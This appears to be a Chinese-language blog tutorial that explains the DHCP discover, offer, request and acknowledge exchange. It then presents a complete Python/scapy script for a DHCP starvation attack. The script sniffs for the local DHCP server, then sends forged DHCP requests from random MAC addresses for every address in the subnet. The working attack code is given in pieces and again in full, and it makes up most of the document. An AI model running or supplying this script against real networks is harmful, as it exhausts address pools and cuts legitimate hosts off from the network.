PYTHON程式設計之基於scapy的DHCP全自動攻擊指令碼
DHCP服務
當一個組織分配到一個網路地址塊後們就可以為該組織內的主機繼而路由器介面分配IP地址了。這個工作可以由網路管理員手動分配,也可以通過動態主機配置協議,也就是我們這裡所講的DHCP協議來動態的為主機分配地址。事實上很多的實際網路都是通過DHCP來實現地址分配的。
DHCP在應用層實現,傳輸層使用的時UDP,提供動態IP地址分配網路的,需要執行DHCP伺服器(埠號67)並且需要配置可以為其他主機分配地址的地址範圍。
DHCP服務發現
當一臺網路主機接入或者新啟動時,新到達主機的主要目的就是進行DHCP客戶,併發送DHCP發現報文(DHCP discover),以便發現DHCP伺服器。主機使用UDP67埠傳送DHCP 發現報文,UDP報文段進一步封裝到IP資料報中。顯然,此時主機並不知道DHCP的伺服器的IP地址。自己也沒有分配到IP地址。所有主機會在IP資料包的目的IP地址欄位中填入“255.255.255.255”,表明這是一次廣播。在源地址欄位中填入:“0.0.0.0”.將IP資料包封裝完畢後,交付給下一層資料鏈路層,資料鏈路層會負責將資料幀廣播到與該主機相連的子網內的所有主機與路由器的介面。
DHCP伺服器提供
當某臺伺服器或路由器在埠67上提供DHCP服務,並且接受到一個DHCP發現報文後,會發送一個DHCP提供包(DHCP Offer),來響應主機。由於新接入到網路的主機此時仍不具有可用的IP地址,因此DHCP提供報文仍然會通過廣播的方式傳送出去。DHCP提供報文中包含了DHCP伺服器為新加入網路的主機分配的IP地址。用於標識一次DHCP過程的識別符號、子網掩碼、預設閘道器和本地域名伺服器IP地址以及IP地址的租期等資訊。
DHCP請求
當新加入網路的主機收到了一個或是多個DHCP伺服器的DHCP提供報文後,選擇其中一個傳送傳送DHCP請求報文。需要注意的是,此時仍時利用廣播的方式來發送DHCP Request 報文。因為網路中可能存在多個DHCP伺服器。當多個DHCP伺服器都對網路中的主機做出響應時,這臺主機需要從中選一個,而對於未被選中的DHCP伺服器,該主機也需要將它們為其分配的IP地址未被使用的訊息廣播出去。
DHCP確認
當被選定的DHCP伺服器以DHCP確認(DHCP ACK)來對DHCP請求報文進行響應。當客戶主機收到DHCP ack 報文後正式使用該伺服器為其分配的IP地址。這個時候客戶機才真正的拿到了可用的IP地址,同時DHCP伺服器也真正的分配出了一個IP地址。
不過值得注意的是,他在這裡不僅僅只是分配出一個IP地址。其中還有當前網路的子網掩碼、預設閘道器、本地域名伺服器等重要資訊。
PYTHON-SCAPY
scapy模組可以模擬各種資料包的傳送。
一般來說KALI-LINUX是自帶的。如果是linux系統中, 且沒有scapy
則執行以下命令安裝:
sudo pip install scapy
想要深入學習的小夥伴也可以來我的資源下載scapy的學習資料。
這個是全英文版的。手頭暫時沒有中文版的資料==一般都靠百度了。
軟體執行介面:
在python中,我們可以直接使用以下命令包含scapy庫
from scapy.all import *
PYTHON實現自動化攻擊指令碼
一共包含的模組:
from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy
這裡有一點要注意的是,千萬不能同時寫from scapy.all import *和from IPy import IP。由於scapy中有一個IP(),而IPy中也有一個IP(),導致函式命名重複,會產生一個重定義的錯誤。
其中第一個模組的作用主要是傳送資料包。第二個模組是為多執行緒準備的,多執行緒的主要任務就是當一個執行緒傳送DHCP資料包後,另一個執行緒能夠監聽DHCP伺服器返回的Offer資訊,以此來確定DHCP伺服器的IP地址,以便於第二次能夠傳送DHCP REQUEST報文。
全域性變數
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'
由於開了兩個執行緒,一個處於不斷髮送DHCP發現報文,另一個不斷處於監聽狀態。而我這裡主要的目的是為了確定DHCP伺服器的IP地址。所以當我收到DHCP給我回復的DHCP報文(UDP)時,就可以結束髮送DISCOVER包了,同時就可以停止監聽,這裡flag主要還是起到一個標誌位的作用。
後面兩個變數分別就是dhcp伺服器的地址和當前子網掩碼。
獲取DHCP伺服器地址:
def getdhcpip():
global flag
print "[+] Geting The DHCP server IP Address!"
while flag == 0:
tap_interface = 'eth0'
src_mac_address = RandMAC()
ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
ip = IP(src ='0.0.0.0',dst='255.255.255.255')
udp =UDP (sport=68,dport=67)
fam,hw = get_if_raw_hwaddr(tap_interface)
bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid = 0x01020304,flags= 1)
dhcp = DHCP(options=[("message-type","discover"),"end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet,count=1,verbose=0)
sleep(0.1)
在Python中,函式內部使用全域性變數需要使用global識別符號來宣告呼叫全域性函式。否則程式會報錯:“NOT DEFINE”
而我這裡構造的資料包完全就是根據DHCP discover包來構造的。
監聽DHCP(UDP)報文
def matchpacket():
global flag
global dhcp_address
global current_subnet
while flag == 0:
try:
a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
current_subnet = a[1][1][3].options[1][1]
dhcp_address = a[1][1][0].src
if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
flag = 1
print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"
except:
pass
time.sleep(0.1)
這裡需要注意的是:DHCP在應用層實現,傳輸層使用的時UDP.所以我這裡直接使用sniff函式來抓取UDP報文。
為了多執行緒做準備,我在下面還定義了一個全域性的函式列表
func = [getdhcpip,matchpacket]
主函式使用Thread來呼叫
呼叫程式碼:
threads= []
for i in range(0,len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
攻擊程式碼:
def dhcp_attack():
global dhcp_address
address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
address = address_info.split('/')[0]
address = address.replace('.0','')
netmask = address_info.split('/')[1]
max_sub_number = 2**(32-int(netmask))-2
bin_ip = address_info.split('/')[0].split('.')
ip_info=''
for i in range(0,4):
string = str(bin(int(bin_ip[i]))).replace('0b','')
if(len(string)!=8):
for i in range(0,8-len(string)):
string = "0"+string
ip_info = ip_info + str(string)
for i in range(1,max_sub_number+1):
ip = str(bin(int(ip_info,2) + i))[2:]
need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
rand_mac_address = RandMAC()
dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
sendp(dhcp_attack_packet,verbose=0)
print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"
這是最為複雜的一段。讓我有一種寫C語言的感覺==
其中IPy.IP(dhcp_address).make_net(current_subnet).strNormal() 的作用就是返回一個“IP地址/子網”的東西。而2**(32-子網)的目的就是計算當前的最大主機數。通過二進位制求和的方式遍歷所有子網中的主機。其中PYTHON並沒有二進位制的加法運算,所以只能通過十進位制相加轉二進位制然後再轉換成點分十進位制的形式。保證了IP地址為32位。
完整程式碼:
#!/usr/bin/env python
from scapy.all import *
from time import ctime,sleep
from threading import Thread,Lock
import IPy
flag = 0
dhcp_address = '0.0.0.0'
current_subnet = '0.0.0.0'
def getdhcpip():
global flag
print "[+] Geting The DHCP server IP Address!"
while flag == 0:
tap_interface = 'eth0'
src_mac_address = RandMAC()
ethernet = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = src_mac_address,type=0x800)
ip = IP(src ='0.0.0.0',dst='255.255.255.255')
udp =UDP (sport=68,dport=67)
fam,hw = get_if_raw_hwaddr(tap_interface)
bootp = BOOTP(chaddr = hw, ciaddr = '0.0.0.0',xid = 0x01020304,flags= 1)
dhcp = DHCP(options=[("message-type","discover"),"end"])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet,count=1,verbose=0)
sleep(0.1)
def matchpacket():
global flag
global dhcp_address
global current_subnet
while flag == 0:
try:
a = sniff(filter='udp and dst 255.255.255.255',iface='eth0',count=2)
current_subnet = a[1][1][3].options[1][1]
dhcp_address = a[1][1][0].src
if dhcp_address is not '0.0.0.0' and current_subnet is not '0.0.0.0':
flag = 1
print "[+] The DHCP SERVER IP ADDRESS IS "+dhcp_address + "\r\n"
print "[+] CURRENT NETMASK IS " + current_subnet+"\r\n"
except:
pass
time.sleep(0.1)
func = [getdhcpip,matchpacket]
def dhcp_attack():
global dhcp_address
address_info = IPy.IP(dhcp_address).make_net(current_subnet).strNormal()
address = address_info.split('/')[0]
address = address.replace('.0','')
netmask = address_info.split('/')[1]
max_sub_number = 2**(32-int(netmask))-2
bin_ip = address_info.split('/')[0].split('.')
ip_info=''
for i in range(0,4):
string = str(bin(int(bin_ip[i]))).replace('0b','')
if(len(string)!=8):
for i in range(0,8-len(string)):
string = "0"+string
ip_info = ip_info + str(string)
for i in range(1,max_sub_number+1):
ip = str(bin(int(ip_info,2) + i))[2:]
need_address = str(int(ip[0:8],2))+'.'+str(int(ip[8:16],2))+'.'+str(int(ip[16:24],2))+'.'+str(int(ip[24:32],2))
rand_mac_address = RandMAC()
dhcp_attack_packet = Ether(src=rand_mac_address,dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac_address)/DHCP(options=[("message-type",'request'),("server_id",dhcp_address),("requested_addr",need_address),"end"])
sendp(dhcp_attack_packet,verbose=0)
print "[+] USE IP: "+need_address +" Attacking "+dhcp_address +" Now!"
def main():
threads= []
for i in range(0,len(func)):
t1 = Thread(target=func[i])
threads.append(t1)
for t in threads:
t.setDaemon(True)
t.start()
for t in threads:
t.join()
dhcp_attack()
if __name__ == '__main__':
main()
print "[+] Attack Over!"